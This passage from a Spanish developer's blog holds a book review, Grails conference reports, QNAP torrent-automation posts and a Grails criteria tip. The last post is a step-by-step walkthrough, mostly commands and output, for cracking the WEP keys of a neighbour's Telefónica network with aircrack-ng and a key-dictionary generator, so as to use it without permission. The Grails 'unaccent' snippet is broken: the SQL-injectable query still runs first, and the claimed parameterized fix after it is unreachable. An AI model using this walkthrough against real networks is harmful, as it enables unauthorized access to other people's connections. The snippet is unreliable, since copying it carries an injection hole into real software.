Blog de Iván López

Leído: Seven Databases in Seven Weeks

2013-04-07T00:29:00.000+02:00

Con este artículo empiezo una serie en el blog en los que iré contando mi opinión sobre distintos libros técnicos que voy leyendo. Uno de mis propósitos para este año es lograr sacar tiempo para leer 5 ó 6 libros técnicos y, a ser posible, que no estén relacionados unos con otros ni estén centrados en un campo específico.

Así, empezamos con Seven Databases in Seven Weeks: A Guide to Modern Databases and the NoSQL Movement. A lo largo del libro hemos visto distintas bases de datos de distintos paradigmas. Desde las clásicas relacionales, hasta las modernas NoSQL con sus distintas variantes: orientadas a documentos, clave-valor, basada en columnas hasta las orientadas a grafos.

El libro no pretende ser una guía del DBA para cada una de esas bases de datos ni tampoco un manual de instalación de cada una de ellas, sino que directamente nos va mostrando distintas características de cada una a través de diversos ejemplos. También se centra en los distintos criterios que debemos tener en cuenta a la hora de elegir una u otra y destaca sus puntos fuertes y deficiencias.

Las bases de datos que se muestran, en el mismo orden de aparición son:
- PostgreSQL: Se trata de una de las base de datos opensource relacionales más potentes que existen en la actualidad. Aunque personalmente llevo utilizándola varios años, aprendí muchas cosas de tipos nativos, array n-dimensionales y búsquedas full text search.
- Riak: Entra dentro de la categoría de clave-valor aunque añade conceptos muy interesantes como un completo interfaz REST y enlaces entre campos de distintas relaciones.
- HBase: Es una base de datos orientada a columnas. Aunque inicialmente parece una base de datos relacional tal cual, ya en la introducción nos indican claramente que no es la típica base de datos que utilizaremos para nuestro pequeño catálogo de productos, sino que debemos tener muchos gigabytes o terabytes de datos para aprovecharla realmente. Al estar diseñada para un gran volumen de datos, el escalado es muy fácil de implementar. Otras cosas interesantes son el versionado automático de columnas y la compresión nativa de datos.
- MongoDB: Probablemente sea una de las bases de datos NoSQL más conocidas en la actualidad. El hecho de que sitios como Foursquare estén implementados con MongoDB le ha dado mucha fama. MongoDB encaja en la categoría de bases de datos orientadas a documentos, donde su principal característica es ser schemaless, es decir, no obligar a tener un esquema definido en las colecciones. Los documentos son JSON y entre sus principales características destacan la replicación de los datos y el sharding de grandes colecciones.
- CouchDB: Al igual que MongoDB, CouchDB es una base de datos orientada a documentos JSON y con interfaz REST. Una de sus principales características es que está diseñada para funcionar desde en un teléfono Android, en un pc hasta en un Datacenter.
- Neo4J: Se trata de una base de datos orientada a grafos. Es ideal para modelar tipos de relaciones de amistad, gustos,... Su principal lema es "si puedes dibujarlo como cajas y líneas en una pizarra, entonces puedes almacenarlo en Neo4J". Me ha impresionado porque es un nuevo paradigma de bases de datos para mí y sirve para cambiar el chip.
- Redis: La base de datos clave-valor por excelencia. Además posee numerosas operaciones para realizar todo tipo de operaciones: rankings ordenados, listas,...

Para terminar, añadiré que la lectura del libro es amena y cómoda. Cada capítulo está dividido en "3 días" y al final de cada día se incluyen una serie de ejercicios para practicar y afianzar lo aprendido. En mi caso, los ejercicios no los he podido hacer porque me llevarían demasiado tiempo (del que no dispongo). Aún así, estoy contento con lo aprendido a lo largo del libro que me ha servido para conocer otro tipo de bases de datos para utilizar en el futuro si los problemas a resolver lo requieren.

Descargando torrents desde un QNAP (y II)

2013-03-02T15:36:00.000+01:00

Este artículo continua justo donde acabó el anterior. Como comentaba al final del mismo, el principal problema de TV Torrent RSS es la gestión de filtros. Por cada nueva serie que añado en la web Show RSS tengo que entrar en el NAS y añadir el nuevo filtro en el archivo de properties de TvRss.
Por suerte, se trata de un proyecto open source en el que el código fuente se encuentra disponible. Está desarrollado en Java, así que por este lado no tenía ningún problema adicional.
Me puse manos a la obra, lo descargué, empecé a analizarlo y hacer algunas pruebas y lo modifiqué para eliminar toda la funcionalidad de los filtros que no necesitaba. De paso me decidí por aligerar ("bamedizar" que decimos por Kaleidos) el código. Así, bajé de las 22 clases Java iniciales a sólo 7 :-), eliminando el soporte de envío de emails y toda la lógica para poder utilizar los filtros que ya no es necesaria. Además, al no tener que comprobar para cada .torrent todos los filtros para ver si hay que descargarlo o no, la ejecución ahora es mucho más rápida.
También aproveché para añadir la librería log4j ya que el logging se estaba haciendo simplemente con println, eliminé las librerías que no eran necesarias y reorganicé el resto. Finalmente actualicé el archivo ant que se utiliza para la construcción del proyecto.

El resultado está publicado en mi cuenta de Github junto con las instrucciones para ejecutarlo. Ahora simplemente lanzo un script todos los días por medio del crontab y mi nueva versión de TvRss se descarga todos los archivos incluyendo versiones proper, repacks, en 720p, en calidad normal y todo sin tener que hacer nada adicional.

Ponente en Greach 2013 e impresiones

2013-01-27T23:58:00.000+01:00

El pasado viernes 25 de Enero empezó la 2ª Edición de Greach que en esta ocasión ha durado dos días. Este año he tenido la suerte de asistir como ponente y dar una charla con el título Todo lo que me hubiera gustado saber cuando empecé a desarrollar con Grails. Al principio estaba muy nervioso pero al final todo salió muy bien. De hecho, mucha gente me comentó después que les había gustado mucho la charla y que habían aprendido unas cuantas cosas. ¡Muchas gracias a todos!

Respecto al resto de las charlas, mis comentarios:
1.- Keynote Groovy 2.0 update: Cedric Champeau fue el encargado de la Keynote de apertura. En esta ocasión Guillaume Laforge no pudo venir aunque conectamos con él via chat y anunció la publicación de Groovy 2.1.0 en la Keynote. La keynote fue muy parecida a la que vi en diciembre en el Grails Exchange de Londres.
2.- Road to Grails 3.0: Graeme Rocher fue el encargado de contarnos la novedades que vendrán en las próximas versiones de Grails.
3.- Hybrid mobile app in minutes, not days: Charla por Fabrice Matrat, Sebastien Blanc y Corinne Krych que crearon en 45 minutos un pequeño clon de Foursquare con el plugin html5 mobile scaffolding. La charla fue muy interesante y la parodia que hicieron durante la presentación fue muy divertida. "Hello, Mr.very-very-rich man" :-P
4.- Test motherFucker... Test!!!: Mario García nos contó qué plugins utiliza él durante los tests de sus aplicaciones Grails y cual es la aproximación que realiza a la hora de testear la aplicación.
5.- Cómo crear una plataforma de libros electrónicos: Roberto Martin y Alberto Vilches nos contaron su experiencia real en una plataforma de libros electrónicos, los problemas que han ido encontrando y cómo los han superado.
6.- vert.x - Effortless asynchronous application development for the modern web and enterprise: Aunque inicialmente la charla la iba a dar Stuart Williams, al final no pudo asistir y fue su compañero Stéphane Maldini el que la dio. No estuvo mal aunque me esperaba un poco más.
7.- Buscando (y encontrando) la pareja ideal. Taller de desarrollo de aplicaciones Web con Grails 2: Taller para el desarrollo de una aplicación Grails por parte de Fernando Redondo. Aunque muchas cosas ya las sabía, aprendí algún pequeño truco.
8.- A GPars Programming Workshop: Taller de lujo con Russel Winder sobre GPars. Aunque fue un taller la verdad es que no hubo demasiado tiempo para programar.
9.- From big-GORM-centered into a cloud of fast nodes: Jorge Uriarte nos contó cómo han adaptado la plataforma TicketBis desde una "simple" aplicación Grails con tomcat, mysql, terracotta,... a una más moderna con Redis y nodos "ligeros" para poder seguir creciendo y soportando la carga.
10.- Testing the Grails Spring Security Plugins: Interesante charla de Burt Beckwith en la que nos mostraba distintas alternativas para probar Spring Security.
11.- Building a scalable API with Grails: Tanausú Cerdeña nos contó cual fue el proceso de creación y las distintas decisiones de diseño que tomaron en la creación del API de Geosophic.

Como veis, dos días muy intensos llenos de Groovy/Grails y demás tecnologías.

No quiero terminar sin dar la enhorabuena a Alberto Vilches por el gran trabajo de estos últimos meses y por arriesgar tanto para dar lo mejor a todo el mundo: Cambio de ubicación a un hotel en pleno centro de Madrid en lugar de en las afueras, dos días de conferencias en lugar de uno, aumento del precio de 10€-20€ a 90€-120€ (si compraba en early-bird o no), comida excelente en el restaurante del hotel,... Creo que ha sido magnífico y todos hemos quedado encantados. ¡Kudos!

Ah, y finalmente, por si hay algún interesado, las slides de mi charla:

Todo lo que me hubiera gustado saber cuando empecé a desarrollar con grails from Iván López

ACTUALIZADO: Ya está disponible el video, aunque es una pena que los primeros 2-3 minutos de la presentación no estén.

Descargando torrents desde un QNAP (I)

2013-01-16T23:56:00.000+01:00

Hace tiempo conté mi estrategia de backup en casa. Tengo montado un servidor debian con un raid 1 y unos scripts personalizados de rsync para realizar la sincronización y copia de los datos.

Adicionalmente tenía un portátil un tanto antiguo con ubuntu con el que descargaba series por medio de bittorrent y alguna otra cosa con amule. Hace unos meses decidí que quería mejorar un poco toda esta infraestructura con un NAS. Así, después de mucho mirar compré un Qnap TS-412 y un par de discos de 2 TB. Con los dos discos he creado un raid 1 y ahora tengo ahí toda mi información, fotos, series, música,...

El qnap tiene un linux embebido con mucha funcionalidad y que es fácilmente ampliable y personalizable. Para las descargas utilizo Transmission que se puede instalar desde el gestor de software incluído. Transmission funciona perfectamente pero tiene un pequeño problema, no permite configurar un feed rss desde el que descargar los torrents. Esto es un gran problema para mí porque para descargar mis series favoritas utilizo Show RSS. Una vez registrado en la web eliges tu series de la lista y puedes generar un feed rss personalizado en donde se publicarán automáticamente los torrents de las series según estén disponibles.

Así que con este problemilla me puse a buscar una solución. Como no soy el único que tiene estos problemas estuve probando distintas alternativas que encontré en diversos foros, pero o no funcionaban correctamente o no me terminaban de convencer. Finalmente encontré TV Torrent RSS Downloader que casi cubre mis necesidades. Es una pequeña aplicación hecha en Java en la que configuras uno o varios feeds rss y unos filtros y descarga los archivos adjuntos. Después de hacer una pruebas en local todo funcionó a la perfección, pero hay había un problema ¿cómo instalo java en el qnap?

Después de bucear un poco por la web de ~~Sun~~ Oracle llegué a la web de descargas del JRE para Linux ARM y tras unas pruebas de ensayo-error descargué la versión correcta para mi arquitectura: ARMv5 Linux – Headless EABI, SoftFP, Little Endian. La instalación es tan sencilla como descomprimir el archivo y configurar el path correctamente y comprobar que el ejecutable funciona:

$ ./java -version
java version "1.6.0_38"
Java SE Embedded Runtime Environment (build 1.6.0_38-b05, headless)
Java HotSpot(TM) Embedded Client VM (build 20.13-b02, mixed mode)

Ahora con java instalado es tan sencillo como ejecutar:

$ java -jar tvrss.jar

Y los .torrents de cada serie se iran descargando automáticamente al directorio que hayamos especificado en el archivo de configuración. Una vez funcionando las descargas de los .torrents de cada serie, si configuramos la ruta de descarga al directorio watched de transmission, los archivos se añadirán y se pondrán a descargar automáticamente.

Con todo funcionando podemos configurar un script .sh que se ejecute a la hora que queramos y descargue automáticamente todos los torrents. Por ejemplo:

$ cat tvrss.sh 
#!/bin/bash

JAVA_HOME=/share/MD0_DATA/software/java/ejre1.6.0_38
APP_DIR=/share/MD0_DATA/software/transmission_scripts/tvrss
LOG_FILE=$APP_DIR/torrents.log

cd /share/MD0_DATA/software/transmission_scripts/tvrss
$JAVA_HOME/bin/java -jar $APP_DIR/tvrss.jar >> $LOG_FILE

Con esto solucionamos el problema de la descarga de los archivos .torrent y el añadirlos a Transmission, pero como comenté antes, la versión original de TV Torrent tiene un pequeño problema: los filtros. Por cada serie que queramos descargar es necesario añadir un filtro nuevo en el archivo de configuración para que ésta se descargue. Además, si en el feed rss publican una nueva versión, las típicas versiones PROPER o REPACK que corrigen problemas de sincronización o similar, éstas tampoco serán descargadas.

La solución en el siguiente artículo :-)

Pusheame: Notificaciones push al navegador

2012-12-27T15:12:00.000+01:00

Esta semana pasada, en Kaleidos hemos celebrado la 3ª Edición de nuestra PiWeek. Aunque en la web viene explicado lo que es, la PiWeek es la Personal Innovation Week y básicamente consiste en que cada 6 meses, "cerramos" una semana para hacer proyectos de innovación. Existen únicamente dos reglas, sólo se permite usar software libre para el desarrollo y al final de la semana hay que hacer una demo funcional.

En esta ocasión he aprovechado la semana para probar los plugins de grails platform-core y events-push de los que ya hablé en mi anterior artículo sobre la Groovy & Grails eXchange.

La idea que hay detrás de "notificaciones push" del servidor al cliente es enviar información en tiempo real al navegador justo en el momento en que se obtiene. Normalmente, cuando desde una aplicación web queremos actualizar un contador, número de mensajes,... lo que solemos hacer es preguntar cada cierto tiempo (10-30 segundos) al servidor si hay mensajes nuevos. Esto implica estar constantemente haciendo llamadas al servidor y además tener un pequeño retraso en la obtención de los mensajes. Con el paradigma push es el servidor el que envía los datos al cliente sin que éste tenga que estar preguntando constantemente.

Mi idea era hacer una pequeña prueba de concepto haciendo push de números aleatorios desde el servidor al cliente. Una vez conseguido, he utilizado el API en tiempo real de Instagram para obtener fotos geolocalizadas e irlas mostrando en un mapa y en un muro.

El resultado es Pusheame, que se encuentra desplegado en http://pusheame.cloudfoundry.com.
Una vez ahí existen dos páginas de pruebas, el mapa, que muestra fotos geoetiquetadas de 28 ciudades de Estado Unidos.

y el muro, que muestra esas mismas fotos en formato muro o album de fotos:

Lo único que tenéis que hacer es abrir el navegador y esperar a que vayan apareciendo las fotos automáticamente.

Si no quieres esperar también puedes ver este pequeño vídeo que he hecho.

Pusheame: Instagram Real-Time pictures from Iván López on Vimeo.

Como indico en la página, para los curiosos, el código fuente del proyecto se encuentra disponible en mi cuenta de github: https://github.com/lmivan/pusheame.

Si perteneces a una empresa tecnológica y te gustaría participar en la próxima edición de la PiWeek, no dudes en contactar con nosotros.
En la primera edición celebrada en diciembre de 2011 sólo participamos Kaleidos. En la segunda edición de julio de 2012 participaron junto con nosotros Secuoyas y Yaco, y finalmente, en esta tercera edición se han apuntado de nuevo Secuoyas y también Wadobo.

Groovy & Grails eXchange 2012 en Londres

2012-12-18T23:45:00.000+01:00

El pasado jueves y viernes (13 y 14 de diciembre) estuve en el Groovy & Grails eXchange 2012 en Londres (GGX). Se trata de una de las conferencias más importantes en torno a Grails, Groovy, Griffon,... de Europa.

Las charlas estaban divididas en dos tracks y en casi todas elegí las de Grails.

1.- Keynote on Groovy: Guillaume Laforge abrió la keynote contando novedades de la versión 2.0 de Groovy: Un core más modular, uso de invokeDynamic, las nuevas transformaciones para comprobación de errores de compilación... Interesante saber hacia dónde se dirige el lenguaje en las próximas versiones.

2.- Grails for Hipsters: Espectacular charla de Robbert Fletcher en la que usando Grails, Vertx, Handlebars, Backbone y un montón de tecnologías hacía un clon de Instagram con publicaciones push, ajax,... Realmente instructiva y con el código fuente disponible en github.

3.- Using Grails Platform Core: Marc Palmer nos contó el nuevo plugin Platform-Core que ha desarrollado junto a Stephane Maldini y que pretende sentar las bases de un nuevo API sobre el que desarrollar nuevos y potentes plugins. Incluye abstracciones de Seguridad, Navigación, UI, y, para mí la parte más interesante, Events.

4.- Under the hood: Using Spring in Grails: Desde hacía tiempo tenía ganas de asistir a una charla de Burt Beckwith y no me decepcionó. Contó cómo integrar Spring clásico en Grails, Inyección de Dependencias, distintas formas de interactuar y engancharnos al ciclo de vida de los beans,... Muy útil y formativa.

5.- Theming & UIs with Grails Platform UI: De nuevo Marc Palmer no habló sobre Platform Core, pero está vez centrado en la parte de UI. Las distintas abstracciones, taglibs,... que ha desarrollado para poder hacer interfaces en las que cambiar el diseño sea tan sencillo como descargar e instalar un nuevo tema de manera similar a como se hace con Wordpress.

6.- Leveraging Social Media in Grails: Para terminar el día, Bobby Warner nos contó los distintos plugins y librerías que existen en la actualidad para integrar nuestras aplicaciones Grails con las distintas redes sociales: Facebook, Twitter, Google+, LinkedIn.

7.- Grails Keynote: El 2º día comenzó con la Keynote de Grails por parte de su project leader Graeme Rocher. Se centró en las novedades introducidas desde Grails 2.0 y para mi gusto se detuvo demasiado en ellas y no le dio tiempo a entrar en profundidad en lo que se incluirá en las siguiente versiones 2.3 y 3.0

8.- Debugging Grails Database Performance: Interesante charla de Tom Dunstan sobre un plugin que había desarrollado para mostrar de manera muy visual en cada vista que renderizamos el tiempo total que ha llevado incluyendo el desglose en los distintos servicios, el número de consultas sql que se han realizado, el tiempo de las mismas e incluso la propia consulta. Hay que prestar atención a este plugin porque tiene pinta de ser muy útil durante el desarrollo.

9.- Groovier testing with Spock: En esta ocasión Robert Fletcher nos mostraba código Java con sus correspondientes tests en Junit e iba explicando de una manera muy sencilla cómo convertir estos tests a Spock y por qué deberíamos usar Spock para probar en lugar del clásico Junit. Por suerte yo ya lo llevo usando desde hace tiempo :-)

10.- Reactive Grails - Event Oriented Architecture: Para mí la mejor charla de todas. Stephane Maldini explicó la parte de Events de platform-core junto con un par de plugins que había desarrollado y que complementaban al anterior. El mejor sin duda events-push, que sirve para poder recibir en el navegador notificaciones push en tiempo real desde el servidor de una manera muy sencilla. Hizo dos demos a cual más espectacular, una de video en tiempo real y la otra de un juego multijugador.

11.- Securing Grails Applications: Burt Beckwith comentó los 10 problemas más importantes de seguridad de las aplicaciones web, cómo estos pueden afectar a nuestras aplicaciones grails y cómo prevenirlos. Además contó un nuevo plugin que está desarrollando y que estará disponible junto con la versión 2.3 de Grails.

12.- Building an ecommerce business with gr8 technologies in Latin America: Domingo Suarez contó su experiencia desarrollando clickonero y cómo evolucionó la plataforma. Es una continuación de la charla que dio en el pasado Spring IO 2012 en Madrid. Muy interesante la peculiar forma en la que han diseñado la nueva arquitectura para poder soportar una gran carga de usuarios.

Y con esto acabaron las charlas. Hubo sorteo de ebooks de grails pero esta vez no me tocó ninguno.

La verdad es que ha sido una gran experiencia estar rodeado de dos días de tantos "cracks" del entorno Groovy y Grails. Tengo muchas ideas en el cuaderno y cosas que quiero probar y que haré haciendo poco a poco.

Si no has podido asistir pero te interesan estos temas, ya están todos los videos de las charlas publicados por lo que no hay excusa para no ir viéndolas poco a poco a ratos.

Crónica de Greach: Conferencia de Groovy

2011-11-13T11:22:00.001+01:00

El pasado viernes 4 de noviembre acudí a Greach, una conferencia sobre el lenguaje Groovy y los frameworks en torno a él: Grails, Griffon,... celebrada en la Universidad San Pablo CEU de Madrid. La conferencia estuvo muy bien y las charlas a las que asistí me gustaron casi todas.

Después del registro y la presentación empezaron las charlas en sí:

1.- Groovy 1.8 and beyond!: Guillaume Laforge, project manager de Groovy nos contó las novedades de la versión 1.8 y nos adelantó algunas de las nuevas características que tendremos disponibles en groovy 1.9 como grandes mejoras en el rendimiento o un compilador más estricto que permitirá detectar más errores en tiempo de compilación en lugar de retrasarlos hasta la ejecución.
2.- Novedades de Grails 2.0: Álvaro Sánchez-Mariscal, después de una presentación con un video con la intro de "The Day of the Tentacle", nos contó las novedades que incluye la versión 2.0 de Grails respecto a la 1.3.7: Scaffolding en HTML5, uso por defecto de jQuery en lugar de prototype, muchas mejoras en la parte de tests,...
3.- Deconstructing i18n-fields. Nacimiento y evolución de un power-plugin de Grails, sin cortes, sin censuras: Bajo este título, Jorge Uriarte nos contó las ventajas de la arquitectura de plugins de Grails, lo fácil que es crear un plugin y cómo le surgió la necesidad de crear este plugin. Con él, se puede internacionalizar campos de la base de datos de manera muy fácil y sencilla. Nos contó las distintas aproximaciones y evoluciones que ha tenido el plugin, vimos fragmentos de código,... La charla me pareció muy interesante y al final de ella pude hablar un rato con Jorge para comentarle que yo ya estoy utilizando su plugin en un proyecto y que me está resultando muy útil.
Después de esto tuvimos una pequeña pausa para tomar un café y recuperar algo de fuerzas con una pastas y volvimos a la carga con el siguiente bloque de charlas
4.- Volando con Griffon: Griffon es un framework que utiliza el lenguaje Groovy para escribir aplicaciones Java de escritorio basadas en Swing. La charla la dió Andrés Almiray, creador de Griffon. Tenía puestas muchas expectativas en esta charla pero al final me decepcionó un poco, según la agenda íbamos a ver cómo crear una aplicación con REST habilitado y al final sólo vimos cómo crear una aplicación con un par de cajas de texto y poco más.
5.- Gana velocidad y facilita la escalabilidad: Optimiza tus webs Grails: Dani Latorre nos contó una serie de tips generales para optimizar aplicaciones web y fue poniendo ejemplos de cómo implementarlos en Grails. Nos contó una gran variedad de plugins existentes actualmente con los que poder llevar a cabo dichas optimizaciones. La charla, sin ser magnífica, sí que me sirvió para replantearme ciertas cosas.
6.- Grails and Cloud Foundry: Después de la parada para la comida, volvimos con Graeme Rocher, lider del proyecto Grails, que nos contó la plataforma Cloud Foundry para el despliegue de aplicaciones "en la nube". Después de una pequeña introducción nos contó la existencia de un plugin de Grails que permite la integración y despligue de nuestras aplicaciones Grails de una manera rápida y sencilla. Vimos una demo de cómo funciona y aunque parece muy prometedor, todavía tiene bastantes limitaciones: no hay persistencia en el sistema de ficheros, no se puede acceder a la base de datos,... Graeme nos contó que están trabajando en solucionar todos estos problemas.
7.- Groovy Code Generation: Esta sin duda fue la charla más espesa de todas. Hamlet D'Arcy habló de transformaciones AST en Groovy. Hubo bastantes ejemplos y la charla fue muy interesante, aunque se requieren bastantes conocimientos para poder empezar con ello.
8.- Creación de plugins en Griffon: Mario García nos contó cómo funcionan los plugins de Griffon y nos hizo una demo sobre cómo crear uno para acceder a una instancia Solr.
9.- Engrandeciendo Grails con MongoDB: Esta fue una de las charlas que más me gustó. Enrique Medina nos habló sobre su experiencia en la integración de MondoDB con Grails, problemas que ha tenido, formas de resolver los distintos tipos de relaciones 1:1, 1:N y N:M. Me gustó mucho la charla y me abrió un poco los ojos respecto a una base de datos NoSQL. Es posible que en un futuro no muy lejano le dé una oportunidad a MongoDB en algún proyecto.

Y después de todas estas charlas llegó la parte final, se sorteó un curso de HTML5 y CSS3, una licencia de WebStorm y otra de Intelli J y finalmente libros de Grails in Action y Griffon in Action. A mi me tocó uno de Grails in Action :-).
Respecto a la organización, me pareció muy buena. Quiero dar las gracias a Alberto Vilches, padre del evento y a todos los colaboradores porque todo salió muy bien. Por ejemplo, el tema de la comida fue mucho mejor que en el pasado Spring IO en donde sólo tuvimos un sandwich frío. Esta vez pudimos comer en el comedor de la universidad.
Como punto negativo, al igual que en el Spring IO, la wifi se caía de vez en cuando, aunque esto es algo ajeno a los organizadores ya que es totalmente dependiente de la universidad.

Creando Hibernate Criteria en Grails

2011-10-28T23:45:00.002+02:00

   La situación es la siguiente: Tenemos una aplicación grails en la que tenemos que buscar por nombre de usuario. La primera aproximación sería utilizar ilike para buscar en los campos nombre y apellidos y todo funcionaría perfectamente hasta que llegamos a los nombres con tildes. ¿Qué ocurre si el usuario está dado de alta como Iván y nosotros introducimos Ivan, pues que sencillamente no aparecerá.
   Hay varias formas de afrontar el problema incluyendo el full text search con plugins como searchable o elasticsearch, pero si no queremos complicarnos en configurarlos o nuestra situación no requiere de búsquedas complejas, podemos usar otra solución.
   En mi caso estoy utilizando PostgreSQL como base de datos en su versión 9.0. A partir de esta versión se incluye por defecto (sólo es necesario instalarla) la función unaccent que elimina todas las tildes de un campo. Así, la consulta que contruiríamos a mano sería algo como:

select * from user
where unaccent("name") ilike unaccent('%iván%')

Y devolvería cualquier usuario que se llamase: ivan, Iván, iván, IVÁN,... Todo esto está muy bien, pero que ocurre si ya tenemos el siguiente criteria de grails:

def users = User.createCriteria().list() {
    ilike('name', '%' + value + '%')
}

¿Cómo añadimos esa llamada a la función unaccent?. Vamos a crear nuestro propio Hibernate Criteria.
Editamos el archivo BootStrap.groovy y añadimos lo siguiente:

HibernateCriteriaBuilder.metaClass.unaccent = { String propertyName, Object propertyValue ->

 if (!validateSimpleExpression()) {
  throwRuntimeException(new IllegalArgumentException("Call to [unaccent] with propertyName [" +
    propertyName + "] and other property name [" + otherPropertyName + "] not allowed here."));
 }

 propertyName = calculatePropertyName(propertyName);
 propertyValue = calculatePropertyValue(propertyValue);

 def query = "unaccent(\"${propertyName}\") ilike unaccent('%${propertyValue}%')"
 return addToCriteria(Restrictions.sqlRestriction(query));

 def query = "unaccent(\"${propertyName}\") ilike unaccent(?)"
 def value = "%${propertyValue}%"
 return addToCriteria(Restrictions.sqlRestriction(query.toString(), value.toString(), Hibernate.STRING));
}

[ACTUALIZACIÓN]: He cambiado la forma de generar la consulta para que evitar posibles ataques por inyección de sql.

Lo que estamos haciendo es inyectar al HibernateCriteriaBuilder un método llamado unaccent que recibe como parámetros un string con el nombre de la propiedad y un objeto con el valor que queremos comparar.
Con esto podemos reescribir la consulta anterior de la siguiente manera:

def users = User.createCriteria().list() {
    // Old method
    //ilike('name', '%' + name + '%')
    unaccent('name', value)
}

Si ejecutamos el criteria vemos que la consulta es la siguiente:

select
        this_.id as id19_0_,
        this_.name as name19_0_
     from
        user this_
     where
        unaccent("name") ilike unaccent('%iván%')

Que efectivamente devuelve los mismos registros de antes :-)
Todo esto se puede mejorar puesto que en función del número de registros que esperemos tener en la tabla, aplicar la función unaccent a la columna obliga a la base de datos a hacer un full scan en toda la tabla. Podríamos crear un índice, usar un campo paralelo para realizar las búsquedas que se mantenga automáticamente con un trigger, controlar este campo desde la aplicación grails con los métodos afterSave() y afterUpdate() de la clase de dominio User,... en fin, unas cuantas alternativas.

Conectándonos a redes WLAN_XX de Telefónica sin saber la contraseña

2011-02-01T23:54:00.001+01:00

Este pasado verano estuvimos de vacaciones en un piso en la costa española que han comprado mis suegros. Aunque tengo el modem 3G USB para conectarme a internet, nunca está de más probar a ver si existe alguna red wifi disponible. Después del paseo de rigor con el portátil por toda la casa, me pongo en la mesa del salón y aunque no existe ninguna red abierta a la que poder conectarme, veo que hay unas cuantas con el nombre WLAN_XX. Estas redes son de Telefónica y al ser "antiguas", el cifrado utilizado es WEP. Podría ponerme a capturar varios cientos de miles de paquetes y posteriormente por fuerza bruta intentar averiguar la clave. Afortunadamente hay una manera mucho más sencilla de obtenerla.

El primer paso es instalar desde los repositorios aircrack-ng. Son un conjunto de utilidades que permiten poner la tarjeta en modo monitor para capturar paquetes, inyectar paquetes en redes wifi, obtener una contraseña WEP con un cierto número de paquetes capturados,...

ivan@suneo:~$ sudo apt-get install aircrack-ng

Ahora ponemos la tarjeta de red en modo monitor para capturar todos los paquetes que nos llegan.

ivan@suneo:~$ sudo airmon-ng start wlan0

Interface Chipset  Driver

wlan0  Intel 3945ABG iwl3945 - [phy0]
    (monitor mode enabled on mon0)

La tarjeta wifi ya está en modo monitor, en este caso en el interfaz mon0. Éste será el que utilizaremos para capturar el tráfico.

ivan@suneo:~$ sudo airodump-ng -w packets mon0

 CH  1 ][ Elapsed: 9 mins ][ 2010-08-10 15:35                                         
                                                                                                                
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                 
                                                                                                                
 00:01:38:DF:ED:AE  -68     3193        6    0   6  54 . WEP  WEP         WLAN_B8
 00:1A:4D:22:45:81  -84      486      213    0   7  54e. OPN              tcc-hotspot-escuera                   
 00:1F:3F:A3:C7:39  -90       52        0    0   6  54   WEP  WEP         Harry Mehlitz                         
 00:1A:2B:5C:57:76  -87      288        4    0  11  54   WEP  WEP         JAZZTEL_47                            
 00:1A:2B:01:AC:A0  -83      829        0    0   3  54   WEP  WEP         WLAN_E9                               
 00:0C:F6:82:44:50  -84      507        3    0  11  54e. WPA  TKIP   PSK  Sitecom824450                         
                                                                                                                
 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                      
                                                                                                                
 (not associated)   00:13:CE:6A:1B:14  -89    0 - 1      0      138  MI_CASA,WLAN_4B,1234567891234567891234567891
 (not associated)   00:1A:EF:05:17:2D  -89    0 - 1      0        5  WLAN_4D                                     
 00:01:38:DF:ED:AE  00:1F:3C:E1:95:C5    0    6 - 1      0      876  WLAN_B8                                     
 00:1A:2B:5C:57:76  00:22:43:65:1E:C6  -84    0 - 1      0        5  JAZZTEL_47                                  
 00:1A:2B:5C:57:76  00:16:EA:35:DD:D4  -85    0 - 1      0        3

He marcado en negrita la red que nos interesa: WLAN_B8. Lo que hemos hecho es capturar todos los paquetes wifi que "vemos" y almacenarlos en un conjunto de archivos con el prefijo packets. La columna importante es #Data: indica que ya hemos capturado 6 IV's, necesarios para romper la contraseña. Dejamos este proceso capturando y en otro terminal seguimos trabajando.

Como ya he comentado, los nombres WLAN_XX son los que antiguamente ponía Telefónica a las redes wifi, dejando además la configuración por defecto. Existe una relación entre el nombre de la red, el BSSID (la mac del punto de acceso) y la clave.
En lugar de tener que capturar muchos paquetes, con sólo 4 o más IV's podremos romper el cifrado puesto que vamos a utilizar un ataque por diccionario. Para generar este diccionario usaremos wlandecrypter. Lo descargamos, descomprimimos y con un simple make compilaremos el archivo .c. El uso es muy sencillo, le pasamos como parámetros la mac del punto de acceso y el nombre de la red y nos generará el diccionario con las claves.

ivan@suneo:~$ wlandecrypter 00:01:38:DF:ED:AE WLAN_B8 dic_WLANB8.txt

wlandecrypter v1.3.1 (2010/04/21)

 [+] BSSID: 00:01:38:XX:XX:XX
 [+] Modelo: Xavi 7768r
 [+] Generando fichero de claves: dic_WLANB8.txt.kk
 [+] Fichero guardado OK
 [+] Generadas 65536 claves (896 KB)
 [+] Proceso finalizado con exito

Como podéis ver, a partir del BSSID ha detectado qué modelo de router es y ha generado las claves necesarias. En este caso sólo son 65536 claves posibles (siempre que el dueño no haya cambiado la clave por defecto).
Como ya habíamos capturado más de 4 IV's vamos a obtener la clave WEP de la red, para ello ejecutamos aircrack-ng pasándole el BSSID, el diccionario que hemos generado y los paquetes capturados.

ivan@suneo:~$ aircrack-ng -b 00:01:38:DF:ED:AE -w dic_WLANB8.txt -K packets-01.cap

Opening packets-01.cap
Reading packets, please wait...

                                                Aircrack-ng 1.0


                                [00:00:00] Tested 3873 keys (got 6 IVs)

   KB    depth   byte(vote)
    0    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    1    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    2    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    3    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    4    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    5    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    6    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    7    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    8    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    9    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
